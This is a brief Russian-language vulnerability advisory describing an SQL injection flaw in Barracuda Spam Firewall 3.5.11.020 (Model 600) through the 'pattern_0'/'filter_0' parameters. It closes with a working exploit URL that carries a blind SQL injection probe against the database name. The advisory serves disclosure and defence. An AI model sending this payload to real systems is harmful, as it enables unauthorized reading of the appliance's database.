Программа: Barracuda Spam Firewall 3.5.11.020, Model 600
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения. Уязвимость существует из-за недостаточной
обработки входных данных в параметре «pattern_x», когда параметр filter_x
установлен в значение «search_count_equals». Удаленный пользователь может с
помощью специально сформированного запроса выполнить произвольные SQL команды в
базе данных приложения.
Эксплоит:
/cgi-bin/index.cgi?&user=&password=&et=&auth_type=Local&locale=en_US&realm=&primary_tab=
USERS&secondary_tab=per_user_account_view&boolean_0=boolean_and&filter_0=
search_count_equals&pattern_0=if(database() like concat(char(99),char(37)),5,0)
